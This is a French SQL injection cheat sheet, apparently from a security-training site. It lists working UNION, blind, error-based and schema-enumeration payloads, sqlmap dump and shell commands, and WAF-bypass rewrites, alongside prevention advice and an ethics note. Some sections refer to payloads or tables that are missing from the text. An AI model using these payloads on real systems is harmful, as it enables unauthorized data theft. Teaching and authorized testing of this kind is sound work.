Antisèche Injection SQL 2026 : Payloads et Contournements

Navigation rapide

Qu'est-ce qu'une antisèche injection SQL ?

Une antisèche injection SQL est une référence compacte de chaînes et de requêtes d'injection que les testeurs utilisent pour trouver et exploiter la SQLi sans mémoriser la syntaxe de chaque moteur de base de données. Elle regroupe les payloads par objectif : détecter la faille, contourner une authentification, lire des données avec UNION, ou les extraire à l'aveugle, un caractère à la fois.

L'injection occupe le rang A03 du OWASP Top 10. Dans l'analyse OWASP de 2021, 94 % des applications testées présentaient une forme d'injection, avec 274 000 occurrences dans le jeu de données. L'injection SQL correspond à CWE-89 et reste la variante la plus courante, ce qui explique pourquoi une bonne référence est rentable sur presque chaque mission web.

Cette antisèche est conçue pour les tests autorisés : périmètres de bug bounty, épreuves CTF et vos propres cibles de lab. Si vous découvrez l'attaque elle-même, commencez par notre tutoriel d'injection SQL pour le comment et le pourquoi, puis revenez ici pour les payloads.

Payloads de détection : est-ce injectable ?

Avant toute finesse, confirmez que l'entrée atteint une requête. L'objectif est un payload qui modifie la réponse de façon prévisible : une erreur, un jeu de résultats différent, ou un décalage de temps. Testez une entrée à la fois et observez ce qui casse.

Sur des applications réelles, un paramètre numérique qui renvoie discrètement des lignes différentes pour ?id=1 AND 1=1 et ?id=1 AND 1=2 est un signal plus fort qu'une erreur brute, car beaucoup d'applications masquent les erreurs de base de données en production.

Payloads de contournement d'authentification

Le contournement d'authentification classique fonctionne quand l'application construit une requête du type SELECT * FROM users WHERE user='INPUT' AND pass='INPUT' sans la paramétrer. Vous mettez en commentaire la vérification du mot de passe ou vous forcez la clause WHERE à vrai. Placez ces payloads dans le champ du nom d'utilisateur.

Si le premier payload échoue, la structure de la requête est sûrement différente (parenthèses supplémentaires, style de guillemet différent, ou recherche d'un mot de passe haché). Variez les caractères de fermeture avant d'abandonner. Le contournement d'authentification est l'un des gains les plus rapides à pratiquer dans le cours sur les attaques web, qui explique pourquoi chaque contournement se déclenche.

Extraction de données par UNION

Quand les résultats de la requête s'affichent sur la page, UNION SELECT est le moyen le plus rapide de lire des données arbitraires. Il ajoute votre propre jeu de résultats à l'original. Deux règles le font fonctionner : votre SELECT injecté doit renvoyer le même nombre de colonnes, et les types de données des colonnes doivent être compatibles.

Étape 1 : compter les colonnes

# Incrémentez jusqu'à ce que la page renvoie une erreur ou que la mise en page casse
' ORDER BY 1-- -
' ORDER BY 2-- -
' ORDER BY 3-- -

# Ou sondez avec des NULL jusqu'à l'absence d'erreur
' UNION SELECT NULL-- -
' UNION SELECT NULL,NULL-- -
' UNION SELECT NULL,NULL,NULL-- -

Étape 2 : trouver les colonnes affichées

# Remplacez les NULL par des marqueurs pour voir lesquelles se reflètent à l'écran
' UNION SELECT 'a','b','c'-- -
' UNION SELECT 1,2,3-- -

Étape 3 : extraire les vraies données

# MySQL : base de données courante, version et utilisateur
' UNION SELECT database(),version(),user()-- -

# Concaténer plusieurs valeurs dans une seule colonne visible
' UNION SELECT NULL,CONCAT(username,':',password),NULL FROM users-- -

# MySQL : vider tous les noms d'utilisateur et mots de passe dans une ligne
' UNION SELECT NULL,GROUP_CONCAT(username,0x3a,password),NULL FROM users-- -

Injection par erreur

Si l'application laisse fuir les erreurs de base de données, vous pouvez forcer le moteur à afficher des données dans le message d'erreur. C'est plus rapide que l'extraction aveugle car chaque requête renvoie une valeur complète. Adaptez la fonction au moteur.

Le 0x7e est un marqueur tilde qui rend la valeur injectée facile à repérer dans le texte de l'erreur. Si vous voyez la chaîne de version entourée de tildes, l'extraction par erreur est active et vous pouvez remplacer version() par n'importe quelle sous-requête.

Payloads d'injection SQL aveugle

Aucune sortie et aucune erreur signifie injection aveugle. Vous posez à la base de données des questions vraies ou fausses et lisez la réponse dans la réaction : un payload booléen change le contenu de la page, un payload temporel change la durée de la réponse. C'est plus lent, alors automatisez une fois le motif confirmé. Pour la méthodologie complète, voyez notre guide de l'injection SQL aveugle.

Basée sur les booléens

# Comparez les réponses à ces deux payloads - un contenu différent signifie injectable
' AND 1=1-- -
' AND 1=2-- -

# Extraire un caractère à la fois (premier caractère du nom de la base)
' AND SUBSTRING(database(),1,1)='a'-- -

# Confirmer qu'un hash de mot de passe commence par un caractère connu
' AND (SELECT SUBSTRING(password,1,1) FROM users LIMIT 1)='5'-- -

Basée sur le temps

Un délai conditionnel transforme le temps en canal booléen : ' AND IF(SUBSTRING(database(),1,1)='a',SLEEP(5),0)-- - ne temporise que si la supposition est correcte. En pratique, lancez trois requêtes par caractère et prenez le temps médian pour filtrer la gigue réseau.

Référence de syntaxe des bases de données

La moitié de l'injection SQL consiste à savoir à quel dialecte vous parlez. Identifiez d'abord le moteur, puis utilisez la syntaxe correspondante. Ce tableau est la partie de l'antisèche que vous mettrez en favori.

Énumération du schéma

Une fois que vous pouvez lire des données, cartographiez la base. Les vues information_schema existent sous MySQL, PostgreSQL et MSSQL. Oracle utilise plutôt ses propres vues du dictionnaire de données.

# Lister toutes les tables (MySQL / PostgreSQL / MSSQL)
' UNION SELECT NULL,table_name,NULL FROM information_schema.tables-- -

# Lister les colonnes d'une table cible
' UNION SELECT NULL,column_name,NULL FROM information_schema.columns WHERE table_name='users'-- -

# Oracle : lister les tables et les colonnes
' UNION SELECT NULL,table_name,NULL FROM all_tables-- -
' UNION SELECT NULL,column_name,NULL FROM all_tab_columns WHERE table_name='USERS'-- -

De là, il n'y a qu'un pas jusqu'aux tables intéressantes : utilisateurs, identifiants, jetons de session, clés d'API. Filtrez information_schema.columns sur des noms comme pass, token ou secret pour trouver rapidement les données à forte valeur.

Contournement de WAF et de filtres

Les pare-feu applicatifs et les filtres d'entrée bloquent les payloads évidents. Lors de tests autorisés, il faut souvent réécrire un payload pour qu'il signifie la même chose pour la base de données sans correspondre à la signature du filtre. Ce sont les réécritures standards, pas de l'évitement de détection pour lui-même.

Un filtre qui supprime le mot UNION exactement une fois transforme UNIOUNIONN en UNION : la suppression réassemble le mot-clé. Pratiquez ces réécritures contre un vrai filtre dans le lab de contournement SQLi par regex, conçu spécialement pour vaincre un filtre d'entrée naïf.

Référence rapide sqlmap

Les payloads manuels prouvent la vulnérabilité. Pour l'extraction à grande échelle, sqlmap automatise la même logique. Utilisez-le uniquement dans votre périmètre autorisé, et commencez léger avant d'augmenter les options de risque et de niveau.

# Tester un seul paramètre d'URL
sqlmap -u "https://target.example/item?id=1" --batch

# Utiliser une requête Burp enregistrée (en-têtes, cookies, corps POST)
sqlmap -r request.txt --batch

# Énumérer les bases, puis les tables, puis vider
sqlmap -u "https://target.example/item?id=1" --dbs
sqlmap -u "https://target.example/item?id=1" -D appdb --tables
sqlmap -u "https://target.example/item?id=1" -D appdb -T users --dump

# Insister quand un test simple ne trouve rien
sqlmap -u "https://target.example/item?id=1" --level=5 --risk=3

# Obtenir un shell SQL interactif
sqlmap -u "https://target.example/item?id=1" --sql-shell

Antisèche de prévention

Connaître les payloads représente la moitié du travail. L'autre moitié consiste à savoir pourquoi ils échouent contre du bon code, afin de rapporter des correctifs qui tiennent. La défense la plus efficace de loin est la requête paramétrée, aussi appelée instruction préparée. Elle envoie le SQL et les données par des canaux séparés, si bien que l'entrée utilisateur n'est jamais interprétée comme du code.

Un WAF est un ralentisseur utile, pas un correctif. Chaque contournement de la section ci-dessus existe précisément parce que des équipes ont traité le pare-feu comme la solution. Pour le détail côté développeur, lisez notre guide de prévention de l'injection SQL, qui couvre les instructions préparées dans chaque langage majeur.

Pratiquez vos compétences en injection SQL

Copier des payloads est un début. Les réussir contre une cible qui résiste, c'est là que la compétence se forme vraiment. Une antisèche vous dit quoi taper ; un lab vous apprend à lire la réponse et à ajuster quand la première tentative ne donne rien.

Labs recommandés

• Query Quake Injection par UNION et par erreur contre une base en direct, dans le navigateur
• Regex Bypass SQLi Réécrire des payloads pour passer un filtre d'entrée naïf
• SQL Injection Test Un environnement propre pour confirmer chaque payload de cette antisèche

Foire aux questions

Considérations légales et éthiques

L'injection SQL peut lire, modifier et détruire des données. Sur une mission réelle, évitez les payloads destructifs (pas de DROP, pas d'UPDATE en production), n'extrayez que ce qui prouve l'impact, et documentez tout pour votre rapport. Le but est de démontrer le risque, pas de causer des dégâts.